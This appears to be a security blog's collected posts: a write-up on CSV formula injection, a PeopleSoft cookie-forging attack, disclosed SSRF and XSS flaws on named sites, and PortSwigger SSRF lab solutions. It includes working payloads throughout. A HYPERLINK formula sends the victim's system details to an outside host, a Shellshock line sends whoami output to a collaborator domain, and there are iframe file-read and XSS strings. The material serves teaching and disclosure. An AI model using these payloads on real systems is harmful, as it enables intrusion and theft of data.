[Tips & Tricks] Exfiltrating user's data through CSV Injection

CSV Injection, can you show me the impact?

From OWASP

CSV Injection, also known as Formula Injection, occurs when websites
embed untrusted input inside CSV files.

When a spreadsheet program such as Microsoft Excel or LibreOffice Calc
is used to open a CSV, any cells starting with = will be
interpreted by the software as a formula.

There are many good articles and sharing about this attack such as:

• NULLCON : Keynote Day 2 | Hunting Evasive Vulnerabilities: Finding Flaws That Others Miss by James Kettle
• Veracode : Data Extraction to Command Execution CSV Injection
• Payatu : CSV Injection – A Guide To Protecting Your CSV Files
• BishopFox : Server-Side Spreadsheet Injection - Formula Injection to Remote Code Execution

We were recently contacted by one of our customers who asked us to demonstrate further impacts of this vulnerability. It is widely known that this issue is generally classified as Low to Medium risk due to the level of protection provided by Microsoft Excel (and other spreadsheet software) as well as the requirement that users are tricked into clicking the embedded link. Additionally, even though spreadsheet content can be exfiltrated to a controlled server, the impact will depend on the type of data that is exfiltrated.

Our team explored some Excel functions that may be useful and could demonstrate a better impact. In this article, we are sharing one approach that we found.

Case study

The vulnerable feature in the application we tested accepted user’s inputs and the content could be downloaded into a CSV file. The downloaded CSV file when viewed in MS Excel will look similar as shown below:

Commonly, we used the following proof-of-concept (POC) demonstrating that it is possible to exfiltrate information on other cells to our controlled server.

=HYPERLINK("https://url.oast.fun?exfil="&B1&B2&B3&B4,"Error!")

When the victim clicks the link, it will send the information to our controlled server.

However, in this case, the customer felt the POC was not impactful enough for them to show it to their management team. This is because the data an attacker could exfiltrate was not confidential at all.

This is when we found there’s an Excel function, INFO(). As an example, we could know what’s the victim’s Operating System by using INFO("osversion") and the information will be reflected in the Excel’s cell.

By utilising HYPERLINK() together with INFO() we could exfiltrate the victim’s local machine information to our controlled server.

We injected the vulnerable forms with the following payload:

=INFO("directory")
=CONCAT(INFO("osversion"),INFO("system"),INFO("release")
=HYPERLINK("https://url.oast.fun?exfil="&B8&B9,"FOOYAHHHH!!")

As the result, the imported CSV file looked similar to this:

We inserted the HYPERLINK() payload on the other row and point the cells that we wanted to exfiltrate. When a victim opened the file, the INFO() will show their local machine information, and when the FOOYAHHH!! link is clicked, the information were sent to our controlled server.

Reference: https://support.microsoft.com/en-us/office/info-function-725f259a-0e4b-49b3-8b52-58815c69acae

Thank you

Read More

[Tips & Tricks] Discovering the less-known vulnerability in Oracle PeopleSoft

TockenChpoken - a cookie manipulation attack in Oracle PeopleSoft

Background

There were times when our team performing a pentest and found several organisations that were using Oracle PeopleSoft for their Human Resources (majorly) purpose. In addition to the common weak/default accounts weakness, our team decided to look for other weaknesses. Thus we did a bit of reading about attack vectors that may be less known against this product and found a presentation by Alexey Tiurin at Hack in The Box 2015, Oracle PeopleSoft applications are under attacks!

One of the vulnerabilities shared in this presentation was a manipulation PS_TOKEN in the PeopleSoft application which could lead to a privilege escalation issue.

Interesting.

Discovery

Our team then started to look around on our customers’ assets and available bugbounty programs that have Oracle PeopleSoft as one of their in-scope target. We found several, but we tested few and one of them was vulnerable to this PS_TOKEN cookie manipulation dubbed, TockenChpoken.

The attack

In general, we need to perform the following in order to succeed in manipulating the token.

1. From an unauthorised user perspective or from a low-level user access, grab the PS_TOKEN

2. Obtain all necessary values plus with the signature from the base64 encoded cookie.

3. Brute-force the PS_TOKEN

4. If the brute-force is a success, then we can generate our own PS_TOKEN

We used a plugin for Burp Suite named, PeopleSoft Token Extractor to help us with collecting the token and extracting the necessary information.

We authenticated with a guest access user and captured the PS_TOKEN. The cookie was send to the PeopleSoft Token Extractor for the next steps.

From the tab, we decoded the content and this plugin helped us to extract the necessary information and generate the hashcat format that needs to be cracked.

The following image shows that the current cookie session was belong to a XXX-GUEST user.

The generated SHA-1 hash was then being brute-forced using our cracking-server that internally we called it as Crackcodile.

Crackcodile managed to crack the password within 5 minutes. Results may vary depending on the wordlist and server specifications.

Using the cracked value, we sent it back to the PeopleSoft Token Extractor tab and generated a new token for a new high privileged user in Oracle PeopleSoft such as the PeopleSoft SuperUser = PS.

With the new generated PS_TOKEN for the SuperUser account, we managed to access the restricted directories such as HRMS and etc.

Easy.

We were awarded a handsome amount for this.

Read More

[Disclosure] SSRF found in PrintFriendly

PrintFriendly is a tool used by millions of people everyday to help them save paper and ink when they print and generate PDFs. The tool is available as a browser’s plugin (Chrome , Firefox and more) or as an external plugin for CMS such as Wordpress and Drupal

While performing security testing against one of our customers, we noticed that they were using PrintFriendly’s plugin to allow their users to generate PDFs from their website. We explored the functionality and found it to be simple. After clicking on the PrintFriendly button, the PDF of the desired page will be processed on https://www.printfriendly.com/ and a link to the generated PDF will be produced, for example, https://www.printfriendly.com/p/g/HyPaUT. The view looks similar to the following:

As we observed, the same thing happened on PrintFriendly’s browser extensions and through their preview tool on their main site.

Users can download the PDF file by clicking on the PDF icon at the top header, as shown in the screenshot above. As a result, a download link will be generated for the content, which can be retrieved as a PDF document.

As soon as we checked the requests in Burp Suite, we realised there might be a problem. The request showed that the PDF was generated by parsing the HTML content from the code and processed at the server-side.

We further explored the likelihood and noticed that the <script> tag was filtered and common JavaScript onevent handler did not work. We assumed there might be a denylisting enabled from the application side. Luckily, the <iframe> tag was possible. Using this tag, we could pointing the iframe’s source to the local file such as /etc/passwd. While attempting that, we noted that by simply pointing the src to the file:///etc/passwd was blocked. This was bypassed by supplying a URLencoded ? and then traversed it back to the passwd file.

<iframe src='file:///etc/%3F/../passwd' />

Timeline:
29 July 2022 : RE:HACK sent a brief discovery information to PrintFriendly team
29 July 2022 : RE:HACK received a reply from their technical person and was asked to provide detail POC
29 July 2022 : RE:HACK provided the POC
29 July 2022 : Their team received the POC and validated the issue
16 August 2022 : RE:HACK asked for a status update
18 August 2022 : Their team told the fix will be deployed on the 24th of August.
22 August 2022 : Their team emailed and informed the fix has been deployed.
22 August 2022 : RE:HACK requested to publish the writeup and was permitted. Published.

Read More

[Disclosure] Bypassing the fixed reflected XSS on👨‍⚕️ website

After we noted about a vulnerability disclosure program from BadApe NFT website (see http://blog.rehack.xyz/2022/06/disclosure-dom-based-xss-on-badape-nft.html), our team decided to poke around and see if there is any other Malaysian-based company that has the similar program on it.

We found one :). While they have a vulnerability disclosure program, further a discussion with them, they agreed for us to publish this article but without mentioning their name. Fair enough.

By simply browsing their website, we noted an obvious Reflected XSS and one DOM-Based XSS.

DOM-Based XSS

The DOM-Based XSS was interesting. The injection point was only detected when the URL included with a page parameter. Without this parameter, the value will not be reflected in the DOM. We used Untrusted-Types Devtools plugin by @filedescriptor to detect this.

This was too straightforward. By inserting the XSS payload, the XSS was successfully executed.

Reflected XSS

The reflected XSS was also found on an obvious location. The page parameter on a different endpoint from the above was insufficiently sanitise the user input, thus it was possible for us to insert our XSS payload such as '"><img src=x onerror=alert(document.domain)>

We notified their security team and they immediately mitigated the issue. Once our team received their reply stating that the fix was done, we casually verified the fix and noted that it can be bypassed.

The initial fix was to allow page parameter to only accepted up to 4 characters. More than that will redirect us to a 404 error page. We were able to bypass that via Parameter Pollution technique, where the second page parameter appended on the request was still accepted and reflected in the response body. Thus, this allowed us to include the XSS payload again and successfully bypassed the initial fix.

Again, our team was happy with the quick response and their commitment to security. They immediately reviewed and corrected the problem. We reviewed and confirmed the fix was correctly implemented this time.

Thank you to their security team, and we hope more companies in Malaysia will accept vulnerability disclosures from outsiders.

Read More

[Disclosure] DOM-based XSS on BadApe NFT website

Recently, one of our wizards came across BadApe NFT. The BadApe NFT project is a collection of 10,000 bad apes with proof of ownership stored on the Binance Smart Chain. Their collections look cool, however, our team members are not into cryptocurrency and NFT. Most importantly they are founded by local NFT enthusiasts and have been supported by a few famous figures such as Soloz and Joe Flizzow

While looking at their roadmap, contributions to the NFT community and other news, we noted that they have their Vulnerability Disclosure programme as stated here https://badape.io/vulnerability-disclosure-program/

We thought, “hah!..this is interesting”. Since this is our first time to see a Malaysian-based company having a vulnerability disclosure program! This shows that they are concerned about the security of their assets and want them to be properly secured.

Since we were just finished with our internal penetration testing engagement at that time, we spent some time testing their website.

We started with a domain enumeration using Subfinder by ProjectDiscovery. We found the following subdomains:

www.badape.io
store.badape.io
dimension.badape.io
staging.badape.io
hub.badape.io
ftp.badape.io

We then further investigate the technologies used by these websites using httpx and found that most of them are fronted by Cloudflare. We picked their main website, https://badape.io as at the time of the testing, we observed this website was run on an outdated WordPress version.

We ran WPScan to determine if any outdated plugin is in use. What a stroke of luck (for us), the scan showed that one of the plugins, Elementor was outdated and vulnerable to a DOM-based XSS.

Checking on available proof-of-concept, we learnt that this plugin is vulnerable because the following endpoint
#elementor-action:action=lightbox&settings=
will take base64 encoded JSON input and decode it, insecurely, to the users.

Thus, by crafting a simple payload such as:

{
"type":"null",
"html":"<script>alert('xss')</script>"
}

and encoded them to base64 format was sufficient enough to trigger an alert box as a POC.

https://badape.io/#elementor-action:action=lightbox&settings=eyJ0eXBlIjoibnVsbCIsImh0bWwiOiI8c2NyaXB0PmFsZXJ0KCd4c3MnKTwvc2NyaXB0PiJ9

We submitted the report and BadApe NFT team immediately responded to our email and mitigate the issue.

References:

• https://rotem-bar.com/hacking-65-million-websites-greater-cve-2022-29455-elementor
• https://www.jbelamor.com/xss-elementor-lightox.html

Timeline:

• 20 June 2022: Discovered DOM-based XSS and reported to BadApe NFT team via [email protected]
• 20 June 2022: Their team replied to us and informed a timeline to fix it.
• 23 June 2022: BadApe NFT replied and told us the issue has been fixed and asked us to confirm.
• 23 June 2022: REHACK confirmed the fix.
• 24 June 2022: Disclosure

Read More

Solving PortSwigger SSRF Labs - Final Part



This is the final part of the “Solving PortSwigger SSRF Labs” series. The previous parts of this series can be found here:

• Part 1
• Part 2

Lab 5 - SSRF with filter bypass via open redirection vulnerability

URL: https://portswigger.net/web-security/ssrf/lab-ssrf-filter-bypass-via-open-redirection

This lab has a stock check feature which fetches data from an internal system.

To solve the lab, change the stock check URL to access the admin interface at http://192.168.0.12:8080/admin and delete the user carlos.

The stock checker has been restricted to only access the local application, so you will need to find an open redirect affecting the application first.

Solution:
To complete the challenge, the task is still the same; delete the user carlos through admin interface at http://192.168.0.12:8080/admin by exploiting the SSRF.
For Lab 4, the description mentions that we need to find an open redirect in the application. Then, utilising that attack,it can be used together to exploit the SSRF exist in the “Check stock” feature.

First, we crawled as much as pages and functionalities exist in the e-Store website. All of them, generally will be captured in Burp Suite Proxy and Target tabs.

One particular request attracted our eyes, /product/nextProduct?currentProductId=2&path=/product?productId=3. We confirmed that the path parameter can be used for redirecting our request to a different target site or page.

As we already briefed from the description that "the admin interface at http://192.168.0.12:8080/admin", therefore it was easier to complete this challenge.

POST /product/stock HTTP/1.1
Host: xxx.web-security-academy.net
...

stockApi=/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos

Lab 6 - Blind SSRF with out-of-band detection

URL: https://portswigger.net/web-security/ssrf/blind/lab-out-of-band-detection

This site uses analytics software which fetches the URL specified in the Referer header when a product page is loaded.

To solve the lab, use this functionality to cause an HTTP request to the public Burp Collaborator server.

Solution
The description mentions that we need to use Burp Collaborator and point the payload in the Referer header. This action will let the analytics software used by the application to load our Burp Collaborator and subsequently performing the SSRF.

We opened our Burp Collaborator window and copy our Burp Collaborator payload. We enabled the proxy interception in our Burp Suite Proxy tab and then visited a product page in the e-Store website.

While the Proxy intercepting the request, we added the Burp Collaborator payload copied just now in the Referer header and forward the request.

We noticed that the payload was successfully fetched by the back-end (analytics software) and subsequently solving the lab.

Lab 7 - Blind SSRF with Shellshock exploitation

URL: https://portswigger.net/web-security/ssrf/blind/lab-shellshock-exploitation

This site uses analytics software which fetches the URL specified in the Referer header when a product page is loaded.

To solve the lab, use this functionality to perform a blind SSRF attack against an internal server in the 192.168.0.X range on port 8080. In the blind attack, use a Shellshock payload against the internal server to exfiltrate the name of the OS user.

Solution
Few notes can be noted from the description given.

• Blind SSRF via Referer header on product page

• Internal server at 192.168.0.x:8080

• The internal server is vulnerable to a Shellshock

• To complete the challenge, we need to exfiltrate OS user through Burp Collaborator

From the notes above, we can already know what will be the steps that we need to do. The first two points have been covered in Lab 6 (Blind SSRF on Referer header) and Lab 2 (internal port scanning). But, what is a Shellshock?

Shellshock or Bashdoor is a vulnerability found in Unix Bash shell which was first disclosed on 24 September 2014. This vulnerability caused by lack of sanitisation by Bash before it being executed. Manipulating it, allows an attacker to send commands to the server via HTTP requests and get them executed by the web server operating system.

An example of how Shellshock can be exploited as follow:

curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" \
http://localhost:8080/cgi-bin/vulnerable

Back to our Lab 7. We first captured the request when accessing the product page and sent it to the Repeater tab.

In the Repeater tab, we first crafted our Shellshock payload and wanted the result to be captured by our Burp Collaborator server. We used dig command to issue a request against our Burp Collaborator URL and appended the Unix command to retrieve the OS user; whoami in front of it. The following payload was used and inserted on the User-Agent header:

() { :; }; /usr/bin/dig
$(whoami).ntk8ccf4nkboxogvg5omf0cb62ct0i.burpcollaborator.net

The above payload needed as the User-Agent value as we wanted the payload to be processed by the backend which was vulnerable to the Shellshock bug. Combining with a SSRF vulnerability that existed on the Referer header, this Shellshock payload can be passed to the backend through the e-Store application.

Next, we sent this request to the Intruder tab, so we can bruteforce the correct internal server address as we did in Lab 2.

In the Intruder tab, we set the attacking point on the Referer header to http://192.168.0.§0§:8080. Using the same setting as in Lab 2, we ran the attack while observing our Burp Collaborator window.

In the Burp Collaborator window, we were able to notice few DNS interactions made by the backend and leaked the OS user on the URL.

All SSRF Labs are now solved. Hope everyone can learn something from our solutions.

Reference(s):

1. Github - CVE-2014-6271

2. Netsparker - Shellshock Bash Remote Code Execution Vulnerability Explained and How to Detect It

Read More

Solving PortSwigger SSRF Labs - Part 2



This is a continuation of our series in solving the PortSwigger SSRF labs. The first part of this series can be found here

Lab 3 - SSRF with blacklist-based input filter

URL: https://portswigger.net/web-security/ssrf/lab-ssrf-with-blacklist-filter

This lab has a stock check feature which fetches data from an internal system.

To solve the lab, change the stock check URL to access the admin interface at http://localhost/admin and delete the user carlos

The developer has deployed two weak anti-SSRF defenses that you will need to bypass.

Solution:
The task is similar to the first and second lab. Find SSRF and delete the user carlos. However, for Lab 3, “The developer has deployed two weak anti-SSRF defenses that you will need to bypass”. Thus, a bypass is required to solve the challenge.

We captured the request where the “Stock feature” was triggered and sent it to the Burp Suite Repeater tab.

An attempt to access the admin interface using the same approach as in Lab 1 resulted in a 400 error.

POST /product/stock HTTP/1.1
Host: xxx.web-security-academy.net
...

stockApi=http://localhost/admin

HTTP/1.1 400 Bad Request
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 51

"External stock check blocked for security reasons"

We tried the next payload in order to identify what kind of defenses were enabled:

http://localhos/ -> 500 Internal Server Error
"Could not connect to external stock check service"

http://localhost/ -> 400 Bad Request
"External stock check blocked for security reasons"

http://0.0.0.0/ -> 400 bad Request
"Invalid external stock check url 'Invalid IPV4 address'"

From the above test cases, we confirmed that localhost string was blocked and IP-based URL can be used. Thus, the following was used to bypass the defenses:

POST /product/stock HTTP/1.1
Host: xx.web-security-academy.net
...

stockApi=http://127.1/

However, when attempted to access the /admin path, the application again blocked our request. This indicated that the path itself may be deny-listed too. We attempted to access by randomising the admin characters and able to bypass it using /Admin.

From here, it was easy. The lab was solved with the following final payload:

POST /product/stock HTTP/1.1
Host: xxx.web-security-academy.net
...

stockApi=http://127.1/Admin/delete?username=carlos

Lab 4 - SSRF with whitelist-based input filter

URL: https://portswigger.net/web-security/ssrf/lab-ssrf-with-whitelist-filter

This lab has a stock check feature which fetches data from an internal system.

To solve the lab, change the stock check URL to access the admin interface at http://localhost/admin and delete the user carlos.

The developer has deployed an anti-SSRF defense you will need to bypass.

Solution:
For Lab 4, another type of defense has been applied to mitigate SSRF. To solve the challenge, a bypass is required.

Same approach was taken in this lab where the we sent the vulnerable request to the Burp Suite Repeater tab for further tests.

The following payloads were attempted to identify how the anti-SSRF worked.

http://localhost
"External stock check host must be stock.weliketoshop.net"

http://127.1
"External stock check host must be stock.weliketoshop.net"

Both attempts showed the same error which require the supplied value to be coming from stock.weliketoshop.net host. With this information, we attempted again using the following payloads to identify patterns that can be used for bypassing the check.

http://localhost?stock.weliketoshop.net
"External stock check host must be stock.weliketoshop.net"

http://localhost%0astock.weliketoshop.net
"Invalid external stock check url 'Illegal character in authority at index 7: http://localhost
stock.weliketoshop.net'"

http://localhost%23stock.weliketoshop.net
"External stock check host must be stock.weliketoshop.net"

http://[email protected]
"Could not connect to external stock check service"

From the tests, @ was shown a different error. The reason why it seems being accepted here probably due to the application assuming the user was attempting to login to http://stock.weliketoshop.net as the username localhost. Thus making this request was valid.

With this one potential bypass, we focused on utilising the @ sign to complete the lab. We were required to find a way to ensure the application accepts the URL as http://localhost and at the same time need to append @stock.weliketoshop.net to match with the allow-listed host.

The following attempts were made:

http://[email protected] - Failed

http://localhost%[email protected] - URLencoded the ?, but still failed.

http://localhost%[email protected] - Success. By URLencoded the ? character twice, we were able to bypass it.

With the identified bypass payload, we successfully completed the lab with the following final request which deleted the user carlos

POST /product/stock HTTP/1.1
Host: xxx.web-security-academy.net
...

http://localhost%[email protected]/admin/delete?username=carlos

Reference(s):

1. StackOverflow - How to automatically login to the site using url parameters?

The final part of this series can be found here Part 3

Read More

Solving PortSwigger SSRF Labs - Part 1



Through our RE:HACK - #re:educate, 0xzim from Universiti Teknologi MARA Shah Alam shared with us about an introduction to SSRF based on what he understood.

In this post, one of our wizard decided to solve all PortSwigger Web Academy SSRF labs and share the writeups with everyone. This topic will be made in three parts.

Lab 1 - Basic SSRF against the local server

URL: https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-localhost

This lab has a stock check feature which fetches data from an internal system.

To solve the lab, change the stock check URL to access the admin interface at http://localhost/admin and delete the user carlos.

Solution:
Once we opened the lab’s URL, we were presented with an e-Store website.

From the lab’s description, we identified few hints:

• “…lab has a stock feature…”

• “…change the stock URL…”
  and our task is to locate this endpoint and delete the user carlos via admin's interface.

Clicking on one of the product available in the e-Store, we noticed the “Check stock” feature at the bottom of the page.
By intercepting the request using Burp Suite, we observed the request made when the “Check stock” button was clicked.
Following was the captured request:

POST /product/stock HTTP/1.1 
Host: xxx.web-security-academy.net
Connection: keep-alive 
Content-Length: 107
...

stockApi=http://stock.weliketoshop.net:8080/product/stock/check?productId=1&storeId=1

From here, it was obvious that the stockApi parameter was accepting arbitrary URL and returned the content on the page.

Next, we attempted to replace the stockApi value with http://localhost/admin as described in the lab’s description. The result showed that we were able to get access to the admin interface, indicating the SSRF attack was a success.

To complete the challenge, we need to delete the user carlos from the application. To do that, all we need to do is to perform a delete action against this user through the following request.
URL/admin/delete?username=carlos. We replaced the stockApi value with the delete request above and the result showed that the request was a success.

Lab 2 - Basic SSRF against another back-end system

URL: https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-backend-system

This lab has a stock check feature which fetches data from an internal system.

To solve the lab, use the stock check functionality to scan the internal 192.168.0.X range for an admin interface on port 8080, then use it to delete the user carlos.

Solution:
From the description, we noted that the vulnerable endpoint was still the same as Lab 1, stockApi. However, to solve this lab, we were required to perform internal network scan against 192.168.0.X segment on port 8080. Once discovered, similar to Lab 1, we were required to delete the user carlos.

We visited the e-Store again and proceed to our Burp Suite Repeater tab once identified the vulnerable endpoint.

As we were required to perform the internal network scan, we sent the request to Burp Suite Intruder tab and set the attacking point on the stockApi value as the following:

POST /product/stock HTTP/1.1
Host: xxx.web-security-academy.net
...

stockApi=http://192.168.0.§0§:8080

We set the “Attack type” to Sniper. On the Intruder’s Payloads tab, we set the “Payload type” to Numbers. We then set the “Payload Options” - Number range from 0-255 as that’s what generally usable IP addresses exist in a /24 segment.

The “Payload Encoding” was unticked to ensure the request will not be URL-encoded during the attack.

Once everything was set, we run the attack.

From the result, we noticed there was only 1 result with a “404 Not Found” status, which was http://192.168.0.243:8080

We sent this request to our Burp Suite Repeater tab and replay it but this time with /admin path included.

It was confirmed as the right IP address as we were able to access the admin interface from it. Next, similar to Lab 1, we deleted the user carlos and completed the challenge.

POST /product/stock HTTP/1.1
Host: xxx.web-security-academy.net
. . . 

stockApi=http://192.168.0.243:8080/admin/delete?username=carlos

References:

1. Subnet Cheat Sheet – 24 Subnet Mask, 30, 26, 27, 29, and other IP Address CIDR Network References

The second part of this series can be found here Part 1

Read More